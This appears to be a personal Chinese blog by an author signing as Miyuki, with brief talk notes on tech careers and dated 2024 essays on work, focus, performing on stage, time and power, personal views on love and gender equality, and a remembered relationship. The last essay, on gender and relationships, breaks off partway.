事实上，更有可能发生的情况是，前端不管后端的死活，后端不管前端的死活

DBA 如果没什么事情，就会在一边看戏

运维在旁边一脸忧心忡忡地烧香拜佛，担心服务器挂没挂

CASE 穿越

缓存穿透和缓存雪崩

网络

中间有可能还加个 Redis 啥的

不过有些必要的业务逻辑一定会打到后端服务器上，比如扣款

不打无准备的仗

得有那么多的用户才行（笑

架构

同城机房、异地机房架构

数据库

MongoDB 使用 B 树，MySql 使用 B+ 树

Redis 使用 AOF 把数据 dump 出去

书籍

看起来特别像 B 站上那些冒死上传的标题，说一个小时之后删，结果一个月了之后还在

趣谈

GitHub 添加 host 不走 DNS，受到的 DNS 污染少一点（GFW）

自己做产品，想想试着添加什么功能

三分靠产品，七分靠营销

简悦，好用

跟简悦开发者交流，为产品自豪

舞蹈，邹总吐槽

人生重开器 30w点击 美团直接发offer

离职通知，法律，交税，哲学

Drakeet oncall 微软

尾声

如果你们能够进大厂，那自然是最好的，大厂我进不进得去另说，本来就不打算去大厂，工作室的未来靠你们了（笑

如果能进去大厂，并且做到高层了，希望你们还是多为用户考虑考虑

不要去深圳

然后就是，记得辞职的时候不要签竞业协议

断章

所有写作内容，收录于此。占据博客最大篇幅。

分类诸多，请选择性阅读。

文章

所有成型的文章，收录于此，论及各种话题。均为原创。

依据成文时间倒序排序，最新文章列在第一位，方便后续添加。

工作半年多的感想

写在前面

898 字 | 成长 | 经历 | 感触 | 想法

正文

　　先上结论。

　　1. 思考模式从“我的诉求”转变为“对方的诉求”，行为从“单方渴求”转变为“价值交换”。

　　2. 永远不要在利益中考验感情或人性。所以不要和朋友一起共事，最后大概率血崩。

　　这两个道理初高中生都听过。对，我曾经就是那个初高中生。

　　但真懂了吗？不一定。

　　所以我羡慕现在这些处于青春的孩子们。他们有“可以不想懂”的资本，因为还有人庇护他们。这些人可以是父母，也可以是老师、亲戚或朋友。

　　参加工作后截然不同，所有人都会默认你懂这个社会的游戏规则。这个时候，所有的人都会把你当成独立的个体，做错事了，该惩罚惩罚，绝不减轻。

　　不会说，啊，刚参加工作没多久，算了吧算了吧。

　　不会的。

　　为什么说是社会的“毒打”，是因为我们在学校里面很快乐，尤其是大学。然后出来马上被逼着认清现实。

　　学校教不教财务管理？不教。教不教人际关系？不教。更别说算税退税、时间安排、甩锅、证明工作量、留存证据、反领导 PUA 这类东西了。

　　那些口口声声不加班的人，真扔到单位里面，到点了，领导没走，同事也没有一个人走，十个有八个都会留在工位上。

　　现在反过来看，Telegram 频道建立的初衷就带着一种很浓重的学生气，典型就是“我想怎样”，“我希望你们怎样怎样”。不是“你在我这里可以获取到什么”。

　　当然，看起来也没那么糟糕，也就没打算改了。不然用初衷这个词就有一点点变味了。

　　时过境迁，人都会变。就算当时我抱着“价值交换”的想法，大概也干不了啥。因为自己本来就几乎一无所有吧，而且能通过网络传播的有价值信息本来不多。真要这么做下去，最后也只能是一个 Tool Channel。

　　学生气一点，反而看起来比较真实。

　　各有利弊吧。不是说这俩就是你死我活，可以在一件事情上学生气，一件事情上市侩气。不过要是想在社会上生存的话，还是得学会价值交换。放飞自我的时候，爱咋地咋地没人管。

　　国内的社会，除了律师这种少数职业，基本上只讲利益，不讲对错（表面上来看，律师是只讲对错的，背后嘛……）。

　　当然，可以完全不遵守这套游戏规则。

　　前提是得有完全不讲利益，只讲对错的资本。

　　当然微雪是没有的，所以老老实实干活儿。

　　如果后面有啥想到了，我再继续写。


　　南国微雪 Miyuki

　　2024 年 4 月 6 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

镁光灯下的黑暗

写在前面

622 字 | 经历 | 感触 | 成长 | 想法

正文

　　我不知道阅读这篇文章的读者，有多少人上过舞台。尤其是晚会的舞台，有灯光设定的那种。这种舞台档次比露天的高一些，以前微雪都没有上过。

　　忘了什么时候第一次了。

　　第一次上镁光灯舞台，下台只有一个印象：好黑，完全看不清人。

　　这个印象极深。

　　台上台下完全是两个世界。强烈的灯光照射下，台上的人完全看不清台下的人什么样。弱一点的灯光，可以看清第一排观众席的人数，但看不清脸；强一点的灯光，只能看清第一排观众的脚尖。

　　彩排时空无一人的观众席，演出时座无虚席的观众席，给表演者的物理观感都差不多，都是一片黑暗，看不清。

　　表演者，只知道台下有人。有多少人，不知道；有多少排，不知道；第三排往后，完全看不清。

　　从那之后每一次上这种舞台，我都觉得：我没有为观众表演，我只是在为自己表演，为了给以前努力排练的自己一个结果。

　　因为看不到人们的眼神，所以所有压力，全部来源于自己。

　　我想起独白。

　　动画中有时会有这样一种场景：强烈的镁光灯下，主角娓娓道来，将自己的心事，苦闷，愉快，心绪，全部说与你听。自由、真诚、具有极大的勇气，而最重要的是，表现极为自然。

　　在那个二维的世界里，没有人听；在这个三维的世界里，我们座无虚席。

　　既在彩排，也在演出。

　　我们喜欢那些自由、真诚而自然的表现。

　　而为什么我们做不到呢？

　　我想起一句话。

　　“亲爱的，外面没有别人，只有你自己。”

　　镁光灯下的黑暗，不是逆光的黑暗，是我们自己内心的黑暗。


　　南国微雪 Miyuki

　　2024 年 4 月 1 日

封面图

摄影师 | Rob Simmons

图源 | Unsplash

专注或许不曾被你注意到

写在前面

966 字 | 专注 | 思考 | 经历 | 认知

正文

　　我不知道我专心过多少次，记忆中，明显意识到自己很专注的时候，只有三次。

　　第一次，写作。

　　室友从床上起来，见我在电脑前敲着什么，问我在干什么。“看起来好专心的样子。”他说。我回了一句，在写东西。他提醒我我才知道，原来这也可以叫专心。想过之后，便又沉进文字中去。

　　第二次，滑冰。

　　我没有轮滑经验，第一次就直接上冰面。所幸遇见陌生的贵人，愿意教授我。学过之后，尝试自己动作。全神贯注才能保持身体平衡，不至于摔倒。那种感觉很让人着迷。那时候，我忽然意识到，我现在脑里除了老师教授的那几个要点，便没有任何东西了。

　　真正的全神贯注。

　　然而，这个意识本身，也算是一个杂念。产生这个意识之后的三秒内，我差点摔倒。

　　第三次，Battle。

　　那是一次音乐节，我们团队作为学校的舞者团体，与校外街舞工作室团队对战。

　　我们 Battle 的对象，是曾经教授过我们很多东西的老师。

　　那个街舞工作室，里面曾有许多人，带着我们一起玩，给我们上课，教我们跳舞，让我们感受舞蹈氛围。他们是我们真正的老师。现在成了比赛的双方。

　　一般人，舞台上，都会有镁光灯恐惧。上过很多次舞台的我也不例外。

　　那一次，我的眼里，观众消失了。真正在精神层面上，被完全屏蔽掉了。

　　眼里只有我的老师。

　　大脑飞速思考，我要怎样才能战胜我的老师。

　　音乐怎样切分，动作怎样做，是否变换速度节奏，大招怎么放，放多少……

　　震感舞（Popping）门槛太高，全学校就我一个人跳。对面的老师们都知道这个情况。

　　他们开始做出这个舞种的动作，眼睛直直地盯着我看。我感觉身后，队友推了我一把。

　　我后来后知后觉地感受到，那可能是我整个舞蹈生涯中，最有压力，也最为专心的时候。

　　一边跳舞，一边切分音乐，一边放大招，一边思考动作衔接，一边顶着老师的压力，一边计算时间。


　　专注是个很奇怪的东西。

　　你意识到它时，它就消失了。

　　小时候所有人都在告诉我们，要专心。然而似乎从来没有人告诉过我们这一点。我们实际上也不知道专注是一种怎样的状态，于是总是不懂装懂地说：“知道了。”

　　专注是一种全神贯注的状态。这也意味着，我们全身心地投入目前的事情之中时，我们往往不会意识到自己很专注。

　　那个时候，我们只是在做事，仅此而已。

　　所以，不用觉得自己从来没有认真做过什么事情。

　　你做过。

　　做过很多。

　　很多很多。

　　只是我们，从来没有专门去意识而已。


　　南国微雪 Miyuki

　　2024 年 3 月 20 日

封面图

摄影师 | Siora Photography

图源 | Unsplash

我的恋爱只能在梦里

写在前面

5855 字 | 情感 | 感触 | 经历 | 朋友 | 想法 | 观念 | 性别话题 | 暴言注意

　　这是我迄今以来，最深层次的自我表露。

　　这篇文章，将深层次地阐述自己的恋爱观，并给出自己无法谈恋爱的理由。 “钟情友谊，厌恶爱情”既是主动选择，也是无奈之举。

　　之前写过一篇《微雪爱情观》，然而总结起来就是不信爱情，也未提到过相关观念，约同废话。于是写这一篇文章加以补充。

　　虽说如此，但我仍然不打算讲述有关懿的故事。她永远都将是我内心最深处的秘密。

　　开始正文之前，我想先向两个人致谢：

　　感谢懿小姐，让我知道“喜欢”的感觉；

　　感谢佳芯小姐，让我了解“被喜欢”的感受；

　　她们两人给予了我很大的成长，纵然她们已经看不到了。

　　最后，篇幅浩大，性别话题，敬请注意。

　　那么，我们开始吧。

正文

　　我的恋爱观，阐述起来就是八个字： 钟情友谊，厌恶爱情。

　　一般关系的升级路径为：陌生人 -> 点头之交 -> 泛泛之交 -> 熟人 -> 朋友 -> 死党或闺蜜 -> 爱人。而升级为爱人之后漫长的时间里，相处模式更近似亲密的朋友。相互之间都需要隐私、尊重、支持和承诺。

　　根据爱情三角理论，完美的爱情等于激情加亲密加承诺，而友谊之爱等于亲密加承诺，后者唯独缺一个激情。激情在很大程度上，又与性和狂热联系在一起。

　　我对于陪伴与时间的渴求，远远大于性与激情。既然自己对性保守，没有那么重要，爱人之后的关系又近似友谊，友谊能够长久地发展，那么为什么不维持在“好朋友”这里呢？

　　所以，维持在友谊阶段，最明智的决定。

　　当然，原因不止如此。而厌恶爱情，有着更深层次的原因：

　　1. 对于爱情的信任要求极高；

　　2. 对于美的欣赏，大于伴侣本人，爱抽象的人胜过爱具体的人；

　　3. 国内魔怔的节奏已经大幅动摇自己最初的理念；

　　4. 性格过于独立；

　　5. 平等在自己看来极为重要，然而可能不会被对方所接受；

　　6. 长相不过关。

　　以上所有原因，加权起来构成了自己的八字恋爱观。


一，对于爱情的信任要求极高。

　　我原和同事单独两人时，聊起过类似的话题。彼时她正烦恼，问我觉得恋爱双方该如何相处。我只说了一句话。

　　“我们可以在一张床上睡觉，但是对方打电话时，我一定会避开。”

　　她沉默了一下，笑笑说：“那你应该打电话跟他聊聊。每次我跟人出去玩儿，接到他电话都觉得烦死了。”

　　这确实是我长久以来的观点。

　　这不仅仅是给予双方隐私和尊重，而且这也是信任的证明。信任一直都是一种稀缺资源，无论何时何地，哪种关系。

　　没有信任，只会让双方的猜忌越来越重，从一个人内耗变成两个人相互内耗，能量散失加剧。

　　我有一位非常好的朋友，现在感觉像是女儿或者妹妹。我一直被她玩弄于鼓掌之间。

　　她向我表白之后，我苦笑着问她：“你就不怕我拒绝之后消失吗？”

　　她语音里在笑，说：“不怕啊，我敢说就代表了我有百分之八九十的把握，我们之间的关系不会消失。”

　　也因此，她有时很放肆。怼着我的脸输出，我只能苦笑。

　　有一次，她当着群里所有人，开玩笑问我：“要是我压在你身上呢？”

　　那一瞬间其实我就有了答案。

　　想了想，还是没有说，公开说出来一定会让她难过。

　　如果是真的，我一定会推开她。

　　否则，这将会是一场无法原谅，也不可饶恕的背叛。

　　无论是对于自己，还是对于那个还未到来（抑或永远不会到来）的伴侣。

　　佳芯小姐曾有一次，在昏黄的路灯下跟我聊天。周围满是下课回宿舍的学生。

　　她说，她还是没有放下心里的那个人。在此之前，她向我暗示了很久，目前她与他同班。

　　我沉默了几秒钟，开口。

　　“首先，我非常感谢你能给我说这件事情，这真的需要很大的勇气，无论怎样，谢谢你这么信任我，” 我努力地斟酌着措辞，表达自己的真实想法， “然后，关于这件事，我也相信你自己能处理好。如果需要什么援助，我随时在你身后。”

　　这段措辞虽然是临时之辞，但它一直记在我的脑海里。因为这件事情对我印象非常深刻。

　　我很多次都觉得，身为一个男朋友，这是我能做的所有事情了。保持信任，然后支持她去处理目前她自己所遇到的麻烦。这件事情我完全没有办法帮忙。

　　课题分离，这是她的课题，不是我的。我也没办法阻止她不去想。

　　如果再来一次，我仍然会这么选择，说这些话。

　　至于最后的结果，已经不重要了。所有过往，皆为序章。

　　佳芯小姐也曾跟我说，她的异性朋友很多，问我会不会介意。我说，不会呀，我相信这个世界上有纯洁的异性友谊，自己就是一个很好的例子，所以轻松随便一些就好。

　　如果爱情顺利的话，会变成亲情。我不希望家人之间存有猜忌，每一天如同一局局狼人杀。 我们相互为彼此保留的隐私与尊重，以相互的信任为基础。

　　忠诚不绝对，就是绝对不忠诚。

　　既然已经走到了“有没有爱情都无所谓”这一步，我便不怕失去这个人。

　　不怕失去一个人，才能真正拥有一个人。爱情之前，首先我们得有自我。我们需要让所有人知道，一旦触碰底线，便绝不会回头。 这些底线构成了我们自己。

　　我们看影视剧也喜欢那些个性鲜明的角色，不是吗？

　　反复地确认彼此是否相爱，在信任面前是最可笑的行为。

　　而信任这一个要求，就已经将绝大多数人，挡死在了爱情之门外。


二，对于美的欣赏，大于伴侣本人，爱抽象的人胜过爱具体的人。

　　美的欣赏和愉悦很奇妙。成长的经历中，我曾看过许多异性裸露的照片，但那并不美。比起赤裸裸的照片，更喜欢穿着衣服的日常生活片段；比起原始的刺激，更喜欢两性身上那些特有的美。

　　温柔、共情、倾诉、坚强、果断、血性、睿智、温暖、阳光和大方等等。

　　这些只有可能在抽象的人身上出现。我目前还没有过渡到喜欢具体的人这一阶段。

　　这些听起来很奇怪，但我们平时所追求的正义、教育、道德、底线等等，不也是抽象的东西吗？

　　或许正因如此，我并不习惯在异性交往中，谈及性别话题。 我和很多朋友们总是“去性别化”交往，聊天时刻意地避开性别话题。后果就是——最后会相处成为朋友。

　　所有跟我关系很好的女孩子，都是很好的朋友，但不会是恋爱对象。

　　当然我并没有怨言，自己的高表达性需要一些条件去维持，而她们正是我最好的帮手。这是幸福的事，而朋友多，更是一件值得庆幸的事。

　　只是有时会寂寞，不过这可以忍受。

　　“去性别化”交往，总让我想起漫画中的一句话：

　　「私昔お兄様に言われたことがあるんです。好きな相手にはきちんと自分のことを異性として意識して もらわないとダメだって」

　　（「我曾经听兄长说过，不好好地让喜欢的人，意识到自己是异性，是不行的哦」）

　　这句话很撩人。只是或许我永远都做不到吧。


三，国内魔怔的节奏已经大幅动摇自己最初的理念。

　　这个段落将包含大量而强烈的性别话题。

　　早些年，国内还没有现在疯狂的节奏。许多人都认为女性是真实的弱势群体，而非现在打着“弱势群体”的旗号索取特权的特殊阶级。

　　那时候，为了体验女性的感受，我真的做过一些很激进的事情。

　　我们不谈中二那些年的黑历史，但这些经历确确实实给我留下了很深的体验和印象。

　　比如，我真的感受过，掉肩是一件很烦的事情——歪在一边限制肩膀活动的拉扯感，真的很不舒服；旋转楼梯必须走最外侧，既走不快又绕远路，也是让人烦恼的事；冬天等头发干也会花去大量的时间，还容易感冒。

　　受限于条件，我没有办法体验全部的事情，比如一个月被劈成三部分等等。

　　就有限的这些经历，决定了我现在一直贯彻的理念。

　　我希望，起码能让她们感受到，异性不是什么潜在的刑事罪犯，他们也可以温和、阳光、开朗和大方。我不能做到让全部人都感受到，那么至少，我希望自己的恋爱对象能够在我身上，获得这种安心和温暖。

　　因为体验过，我才会有现在对待女性温和的态度。我鼓励她们去追求自己的事业和生活，不加以限制，只是在身后挥手，祝她们一路走好。

　　有时我又在想，“体验”这一个词，是否又先天地带着男性的傲慢，有居高临下之感。想着想着，总会感到一丝罪恶，似乎我生下来就带着原罪。

　　于是总摇摇头甩掉。只是贯彻这个理念而不去想。

　　我知道我的一些女性朋友会因此有些五味杂陈，因为她们问过我，是不是我对每位女性都这样，我在这里可以说，确实如此。

　　然而，待人温和不是上限，仅仅是下限。硬要说，是类似于更高的道德和自我要求。

　　喜欢也分等级。既然我已经将她们当成了关系更好的朋友，那么自然会有比“待人温和”这一点更多的待遇，例如经济支持、精神安慰和一同分享等等等等。而这些待遇之中，又会有频率之分。

　　爱情双方，总有人要承担更大的责任。既然自己身为男性，相对占有一些优势，那么我愿意去承担。而不是将这份责任和苦难转嫁到自己爱的人身上。

　　上了大学，认识了一些跨性别的朋友。

　　她们有时候会开玩笑说，我迟早会翻车。我有时候也会开玩笑回说，翻就翻，谁怕谁。

　　然而， 在可见的未来，我知道我不会 。因为这个理念已经在我心里扎根了如此之深，贯彻执行了这么之久，我不会放弃。

　　我只是难过 ，现在国内的节奏已经洗脑了很多人的思想。

　　这些节奏，很大程度上动摇了自己当初的信念。

　　现在我更有可能遇上一个，把自己当成贵族阶级，凌驾于我之上的恋爱对象。我希望能给对方足够的安全感，但与此相对的，我不希望因此获得一个“你本就应该这样做”的反应和对待。

　　这让人很寒心。

　　恋爱双方在渴求对方的时候，玩一些性别上的小性子，想要欺负对方或者被对方欺负，这些都无所谓。有时候我们甚至会希望这样做。

　　然而如果将这个态度，代入这以外的生活，只会让人感觉不舒服，有权力欺压和逃避责任之感。

　　目前我仍然会将这个信念贯彻下去。只是，鉴于目前的环境，等到哪天它自然消失了，我也不会奇怪。


四，性格过于独立。

　　一些朋友也因此困扰。

性格独立，意味着习惯了什么事情都自己做，伤心难过自己扛。早已经习惯了一个人，很难进入别人的生活或是被别人的生活侵入。

　　独立是一件好事，但在亲密关系上，会变成劣势。


五，平等在自己看来极为重要，然而可能不会被对方所接受。

　　我曾经问过一些朋友，她们不少人的理念就是找一个“遮风挡雨”的人。

　　“出了什么事情，最好都找他，不要找我。”

　　“找一个阔少，生活无忧。”

　　富人家又不都是地主家的二傻子……

　　这些也似乎都是社会对男性默认的规则和要求。然而 没有任何一个人生来世上就应该享福或者受苦 ，人况且如此，性别更不应该凌驾于人性之上。

　　而且平等，是最能削弱权力的形式。我想尽可能地平等，但许多人认为这种平等是一种懦弱的表现。似乎男性就该挡在别人身前。

　　我现在正努力让自己强大起来，自愿而主动这样做——但这并不是我的义务。我可以主动地承担起这样的责任，但对方不能要求我这样做。 在我看来，“一个男人，就该在外赚钱”这种要求很可笑，这跟“一个就该穿上裙子化个妆，乖乖待在家里做家务”有什么区别。

　　说这种话时，我们并没有将对方当成人看。只当成了一个恣意审视的客体。

　　为什么我们在被别人用随意的目光上下打量时，会感觉不舒服？因为这就是“物化”和“客体化”。我们的独立性和尊严受到了严重的侵犯。

　　平等才是最有期望最有未来的地位关系。职场上的权力欺压不应该在亲密关系里面再现。

　　当然，此处说的平等，是真正意义上的平等，权利与义务上的平等。

　　“平等应该自己的钱自己花。”“我每个月工资就这么一点，房贷你背吧。”

　　“我在外面赚钱都这么辛苦了，你就不能多做一点家务吗？”

　　这不是平等，是双标。

　　爱情的双方都有责任为同一件事情做出自己的贡献。可以分工，不能占便宜。寒心的时间长了，会产生质变。

　　平等造成了我和传统观念上的巨大鸿沟。传统家庭的“男主外，女主内”的家庭模式我完全不能接受。 任何人都应该享有自己的劳动报酬，否则将在漫长的时间旅程中缓慢丧失自己存在的意义。

　　两方不能有任何一方为了爱情或家庭，放弃工作或收入来源。

　　这不仅是为了双方平等，更是为了对抗风险。“一家之主”的模式，顶梁柱的意外或死亡将会带来灾难性的打击。“男主外，女主内”，在男女之前，首先两方都是人，不是神仙，意外不会在意性别。我希望没有家庭顶梁柱，对方也可以生活的很好，而非难以为继。既然踏入了这段关系，那么我希望我们都有更好的未来。

　　财务大权共有，不仅仅是平等，更为了活出意义和平衡风险。


六，长相不过关。

　　这是最无关紧要的一个理由。此处的长相说的是我自己。

　　我不太在意外貌，或许是因为我对性格的要求远高于长相。而且“东施”想找“西施”本就不现实。就算能找到，在其他方面也要付出相应的补偿或代价。

　　在漫长的爱情旅途中，长相也是最无关紧要的东西。（参见：“刺激——价值观——角色”亲密增长理论）

　　我当然也喜欢漂亮的人，但此处的“喜欢”和爱情的“喜欢”是两种东西。爱美之心人皆有之，但是蛋糕总不能当饭吃。

　　有时候，俊美的长相，反而会更让人生气。

　　比如完美的长相和身材，配上恶劣的性格，或者歹毒的语言。亦或者对方做错事情，你只想要一个道歉，对方却想利用自己的长相优势让你消气——性质更加恶劣，本质是在逃避责任，犯错了就该道歉然后改正，而不是用其他方式回避问题。

　　长相外貌完全拯救不了逃避责任等性格上的缺陷，大部分女性（准确地说，是大部分人）天然喜欢漂亮、帅气和可爱的东西，虽然自己在努力，但仍然够不到边。

　　自己并不帅气，那么就这样吧。


　　待人温和，追求平等，性格独立，长相一般，这些因素让人平易近人。同时，自己“去性别化”的交往方式，让我的很多女性朋友，没有感受到“想要追求”的威胁。所以我现在有很多异性好友。

　　身为男性，同性朋友的基数自然要大得多。然而，我跟一些女性朋友的交往深度，远超我绝大多数（可能高达 95%）的同性朋友。

　　这是幸福，也是烦恼，更是我为了维持男性不易获得的高表达性，理应的结果。

　　自己原来迷失在聊天频繁的幻觉中时，曾向其中两个人表白过。无一例外，都失败了。她们都说，从来没有这种想法，对我这种表现也很诧异。

　　然而她们最后还是宽恕了自己，愿意继续同我做朋友。我们现在仍然在保持联系。

　　我觉得她们很温柔，也很了不起。更加证明了，这段关系值得。

　　庆幸之余，难免会觉得自己有些悲哀。

　　这是自己的幸运，也是自己的业障。

　　所有的理由构成了现在的恋爱观念。我不知道以后会不会天降一个恋爱对象，让我改观，起码现在不会。我也不知道以后的状况会不会有所改善，但对于自己这样胆小的人，在情感方面不具勇气的人，目前的现状就是最好的结果。

　　寻找恋爱对象，既然作为一个目标，就需要付出成本。 目前自己并没有付出，所以造成了现在的现象也并不奇怪。而现在，自己早已经没有时间和精力去做这件事情了。加之自己对于对方的性格要求又很多，性格又只有交往一段时间之后才能看出来，所以就干脆单身了。

　　单身也不是什么坏事。

　　上面一些理由可能不会让人接受，不过受环境影响的人，本就有可能千奇百怪。自己本就是一个纠结又复杂的矛盾体。

　　如果所有理由都不能让人接受，那么权作是一个异性朋友多的渣男，所做出的自我狡辩吧。


　　南国微雪 Miyuki

　　2024 年 3 月 17 日

写在后面

　　因此篇文章自我表露程度过深，针对微信公众号，如日后流量过多，则可能转为付费文章以限制流量。

　　Telegram 则一直为公开频道。

封面图

摄影师 | Ryan Holloway

图源 | Unsplash

时间不公平

写在前面

797 字 | 时间 | 暴言注意 | 思考

正文

　　曾在网上看过一种言论，说时间不公平，大人物的时间更金贵一些。

　　当时觉得这种言论挺好笑。那人还言之凿凿，说自己是沿海地带，好几个市联合起来，搞了一个什么系统，参加的单位都有好几十个，就为了让上面的人看上一眼。据后面那些领导的亲近秘书说，那些“大人物”总共也就玩儿了不到二十分钟，就去干别的事情了。

　　看到这里更觉得好笑了。

　　这人想说的，大概不是时间不公平，而是权力不公平。

　　时间对每个人都平等，都是一天 24 小时。不知道未来会不会有赛博朋克逆天改命的存在，至少现在平等。

　　让时间看起来不平等的，是权力的加权。

　　这个社会是一个金字塔，上层的人要做的事情更多。如果想要往上走，就得“谋朝篡位”，把某个人拉下来自己上去。我们不喜欢这样的结构，它天生带有一种血淋淋的罪恶。马克思恩格斯出了一本书，说可以踹翻这座金字塔，当然这就是另外的话题了。

　　关系是一种能够跨越权力加权的存在。

　　试想，如果现在自己是一位社会精英，现在有 100 件事情要做，每一件事情都关乎到许多人的当下、未来或者感受。其中一件，就是听取上面那些系统的联合报告，共 20 分钟。

　　我们会划分一个轻重缓急，工作间隙中穿插着休息。那么，朋友来找你聊 20 分钟，你会拒绝吗？

　　从这个层面上来讲，那位畅谈的朋友，所占据的时间价值，等于那几十个单位所有人。

　　确实不公平，但这不是时间的问题——时间都是 20 分钟。 这是一种偷换概念。

　　这个问题在当今社会的许多热点话题上都存在。典型如 79 块钱的眉笔，演员的片酬。

　　这个社会的许多现象都只能取其平衡。比如管理学，为了整体的效益，会造成劳动异化、工时延长和权力欺压；比如经济学，为了整体的经济增长，某些经济学家可以不管穷人的死活；比如银行，高净值人群的 80% 贡献，让服务待遇天差地别。

　　我们没法改变，但是可以认清。

　　时间是公平的，死亡也是。

　　不公平的是我们自己，是我们被蒙蔽的眼睛。


　　南国微雪 Miyuki

　　2024 年 3 月 11 日

封面图

摄影师 | Zoe Holling

图源 | Unsplash

人生就像一场马拉松

写在前面

1121 字 | 感触 | 生活 | 松弛 | 节奏 | 想法

正文

　　人生就像一场马拉松。

　　停。我们不会说这种东西。小学生作文一样的东西，假。一般写这句话的人，多半都没跑过马拉松，不知道马拉松是一项多么漫长的征途。

　　然而，跑步，马拉松，确实是我能想到的，有关今天主题的最好比喻了。

　　这篇文章，写给所有“时常感觉自己不够努力，好逸恶劳，正在堕落”之人。 其中包括作者自己。

　　我时常感觉自己浪费了大把大把的时间。参加工作之后，工作占去至少 8 小时，睡觉至少 8 小时，剩下 8 小时还要分给吃饭、洗衣、洗漱等等日常琐碎的必要活动。余下时间，寥寥无几，唯有周末，可供喘息。而有时连周末都保不住。

　　于是每每周末，大多什么都不想干。床上瘫一天，或玩一整天手机。

　　两天过去，工作日的上午又开始懊悔，自己怎么又什么都没做。情况好一点，周六的下午开始懊悔，然后周天依旧。

　　我们不应该有这种想法。

　　以现在的结果，要求当初的自己取得另一种回报，实际上就是“吃着碗里的，望着锅里的”。因为大多数情况下，我们已经忽略了现在所取得的结果。

　　周末没做什么，当然是一种罪恶——因为我们已经忽略了“自己已经休息好了”这个事实，所以便理直气壮地要求更好的结果。但实际上鱼和熊掌不能兼得。如果需要兼得，简单，多搭上一天，一天鱼一天熊掌。

　　松弛有度才是最正确的方式。

　　否则，我们根本跑不到终点。远在终点线之前就会倒下，被医务人员抬走之前，两眼里还全是跑道而非终点线。

　　加速和减速都有用。

　　我们希望加速，希望以更短的时间获得更大的成功，许多事情等不得，那些加速的日子里，实实在在地在帮我们减少时间；然而，那些因为减速所耽误的时间，也实实在在地在为我们保存体力——甚至也只有在减速的时候，才会思考自己是否走对了方向，有没有忘记什么重要的事情。

　　我们在加速时，远远无法顾及这么多。而方向一旦走偏，加速的结果可能是坠落。

　　疾病不是突然“发生”的，而是突然“发现”的。

　　道理都懂，而知易行难。

　　每次半程马拉松开始的时候，我都会提醒自己，前五公里，每公里配速一定不能超过八分钟，否则我无法抵达终点。每次，我都证实了。最后的几公里时，我都需要拼尽全力维持自己不要掉出八分钟配速。如果前面五公里我不强迫自己慢下来，最后几公里的成本会异常高昂——甚至或许压根没有这最后几公里。

　　写到这里，也并不是为了一直休息而开脱。松弛有度也需要适时绷紧琴弦。

　　只是，我希望更多人，尤其是那些希望自己获得更大成功的人，希望自己获得突出业绩的人，不要再为一朝一夕的毫无建树而难过懊悔。那些，都有用。

　　真正的狠人，厚积薄发，不因外界的眼光而迫使自己加快和放慢脚步。他们明确知道自己此时该干什么。

　　“你说我‘一夜暴富’，其实我‘蓄谋已久’。”（郭宇）


　　南国微雪 Miyuki

　　2024 年 3 月 7 日

封面图

摄影师 | David Utt

图源 | Unsplash

黯淡的荧光棒

写在前面

935 字 | 经历 | 恋爱 | 物品 | 感触 | 情感 | 生活细节

正文

　　难得一见，自己打开首饰盒。想着今天要去见人，这些首饰也该重现天日了。

　　一拉，首先映入眼帘的是那个荧光棒。圈起来，环在手腕的那种透明荧光棒。

　　首饰盒已经很久没有打开了，我都忘了还有这号东西了，看着它直愣神。

　　那东西早就不发光了。

　　毕竟，已经是两三年前的东西了。


　　那时候，我还在谈恋爱。

　　她在校记者团里，经常有一些活动要去拍。恰好有一个晚会，比较盛大。晚会给每个人都发了这样的小荧光棒。

　　晚会的工作人员，无论是台前幕后还是记者摄影，都有着可以到处跑的特权。她就多给我带了一根，那时候我还没有到场。

　　那晚上我眼睛其实很疼。

　　因为想看看她工作时候的样子，想看到她不一样的一面，还是去了。

　　去了之后，她拿出两根荧光棒，我忘了有哪两种颜色了，只记得看了一眼，便坚定地做好了选择。

　　“要粉色的！”

　　她笑。

　　眼睛真的很疼。自己一直在揉眼睛。有时候有意识，有时候没有。

　　她低下头，望着我，问：“眼睛真的很疼吗？”

　　“嗯……”我不知道怎么说，便答应了，“有一点吧。”

　　我看她低下头，发尖随着动作垂下来，在空中微微晃着。那一瞬间觉得她好漂亮。

　　她后面也没说话，就一直陪我傻站着。

　　现在想想真的很好笑，两个人都不知道怎么面对这样的情况。

　　途中一个朋友路过，似乎发现了一点情况。我和他打招呼，一直打闹到座位上。他扭头问我：“你女朋友？”

　　我直到现在都很难形容当时是一种怎样的心情。我只知道，那一瞬间真的很难为情，特别害羞，难以开口。或许我潜意识里认为，自己不应该拥有“女朋友”吧。

　　木讷地应了一声。

　　“啊……嗯……是……”

　　然后我又呆呆地回到她身边。

　　我已经忘记这一天怎样收尾了。只是记得事后，她忽然给我发消息，说我们俩怎么都那么笨。我问怎么了。

　　她说：“朋友跟我说，为什么不两个人都戴上荧光棒，牵手拍一张呢？”

　　我愣住了。

　　对呀。

　　两个麻瓜。

　　我也没什么好办法，就只是宽慰她：“没事，没事，下次嘛。反正这种活动多得是。”

　　然后就再也没有了下次。


　　我挑出今天精心打扮要用的手链和项链，和这根荧光棒。

　　虽然不知道当初出于什么原因，留下了它，现在我已经打算扔掉了。

　　拿着荧光棒朝着垃圾桶走。走到旁边，还是怔了一分钟。

　　佳芯小姐没给我留下什么东西，还是留着吧。


　　南国微雪 Miyuki

　　2024 年 3 月 3 日

封面图

摄影师 | 南国微雪

图源 | 生活

男性天生有缺陷

写在前面

1051 字 | 性别 | 平等 | 经历

TL;DR：反讽式标题，可直接拉到最后看结论。

正文

　　前阵子和好朋友聊起将来的计划，我说完，她沉默。半晌，她说：“你们男生好像都差不多，这方面都有精心安排，也了解很多事情。”

　　我笑笑，没太在意，没成想后面的知识广度话题竟与性别议题挂上了钩。

　　我忽然想起一个很有意思的观点，边说：“你有没有想过，这种现象可能与男性的缺陷有关。”

　　她一愣：“什么缺陷？”

　　“进化心理学说，女性很容易从人际关系中获得满足感。而男性因为天生不擅长人际关系，更擅长进攻与斗争，所以很难获得这种满足感。所以他们便将目光转向其他领域，希望通过能在其他领域的奋斗获得一种代替的满足感。”

　　她在电话那边不停地答应着，语气透露出一种兴奋和认同。我只能苦笑。

　　说实话，这个观点有一定道理，也有些荒谬。

　　个体心理学创始人，奥地利心理学家，阿尔弗雷德·阿德勒，曾经做过一个出名的论断：一切烦恼都来自于人际关系。

　　而人际关系，是女性的主场。这一点，现代心理学及统计学已经给出了明确的证据。

